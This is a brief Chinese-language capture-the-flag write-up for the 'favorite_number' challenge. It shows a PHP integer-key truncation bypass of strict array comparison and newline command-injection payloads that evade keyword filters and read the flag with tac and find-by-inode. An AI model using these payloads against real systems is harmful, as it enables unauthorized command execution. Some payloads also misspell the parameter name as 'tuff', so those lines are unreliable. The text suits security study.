涉及内容:
php的三等号,‘===’,为强等于,两边的变量的类型和值都相等,返回true;
在php5.5.9中有这样的描述:
PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;
例:攻防世界favorite_number
观察页面,第一个if,表示通过post上传的stuff值和类型必须于array一样,但是第一个又不能是admin,很明显有矛盾,则此处存在漏洞,即为上诉所说的整数溢出。
打开hacker,传递post:stuff[4294967296]=admin&stuff[1]=user
发现可以进入一个空白界面,表明可以绕过了这个矛盾,继续往下看。
大致意思就是出现sh、flag等等那些符号的话只会显示我们最喜欢的数字,很明显是防止我们直接输入命令代码,能用的基本都给ban了,因此我们的目的就是插入命令获取flag
则我们通过换行符%0a进行绕过,
构造:stuff[4294967296]=admin&stuff[1]=user&num=114514%0als -la /
但是在hacker中上传并未显示内容,(不能理解,可能对post值进行的前端的检测过滤吧)
改用burp抓包绕过前端检测
post传递:tuff[4294967296]=admin&stuff[1]=user&num=114514
然后改为:tuff[4294967296]=admin&stuff[1]=user&num=114514%0als -la /
respone后发现flag,但是还ban掉了cat,flag两个关键字,
所以只能更换方法
抓包后改为:tuff[4294967296]=admin&stuff[1]=user&num=114514%0als -i /
寻找到flag的inum值,复制
再通过tac输出和find模式找到flag文件,进行绕过
抓包后改为:tuff[4294967296]=admin&stuff[1]=user&num=114514%0atac `find / inum 1442561 `
responce后,获取到flag
完毕